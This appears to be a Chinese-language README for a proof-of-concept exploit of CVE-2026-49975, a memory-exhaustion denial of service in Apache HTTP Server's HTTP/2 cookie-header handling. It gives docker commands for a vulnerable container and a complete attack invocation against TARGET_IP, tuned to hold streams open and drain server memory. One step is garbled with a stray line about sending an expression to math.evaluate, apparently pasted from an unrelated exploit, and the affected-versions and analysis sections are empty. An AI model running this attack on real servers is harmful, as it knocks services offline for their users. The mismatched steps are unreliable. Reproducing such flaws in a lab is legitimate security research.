CVE-2026-49975 HTTP/2 Bomb

★ CVE-2026-49975 HTTP/2 Bomb PoC ★

概述

CVE-2026-49975 是 Apache HTTP Server 中的一个**拒绝服务（DoS）**漏洞。 该漏洞出现在 HTTP/2 请求处理路径中，多个 cookie 头字段可以在不经过 LimitRequestFields 正确计数的情况下合并。 通过发送一个小的 HPACK 编码的 HTTP/2 请求，该请求扩展成多个 cookie 头字段，攻击者可以强制服务器在 Cookie 头合并过程中反复分配内存。 攻击者随后可利用 HTTP/2 流控制延迟响应传输，使受影响的流保持打开状态，阻止已分配的内存被释放。

受影响版本

影响

• 远程拒绝服务（DoS）
• 过度内存消耗
• 正常用户请求处理延迟或失败

环境

构建并运行存在漏洞的 Apache HTTP Server 环境。

docker build -t cve-2026-49975 .
docker run -d --name cve-2026-49975 --memory 8g -p 10081:80 cve-2026-49975

PoC

启动漏洞环境后，按照以下步骤重现攻击。

步骤 1. 监控服务器内存使用

docker stats cve-2026-49975

示例输出：

CONTAINER ID   NAME             CPU %   MEM USAGE / LIMIT     MEM %
xxxxxxxxxxxx   cve-2026-49975   0.5%    35.2MiB / 8.0GiB      1.7%

步骤 2. 运行 HTTP/2 Bomb PoC

将以下表达式发送给 math.evaluate（例如，通过应用程序的计算输入）。

python3 poc.py \
  --host TARGET_IP \
  --port 10081 \
  --connections 10 \
  --streams 100 \
  --refs 4091 \
  --initial-window 0 \
  --hold 300 \
  --drip-interval 2 \
  --drip-bytes 1

步骤 3. 确认结果

检查 Apache 容器的内存使用量是否增加并在攻击流保持打开期间保持高位。

缓解措施

• 将 Apache HTTP Server 升级到 2.4.68 或更高版本
• 如果服务不需要 HTTP/2，可考虑临时禁用

分析

• KR：
• EN：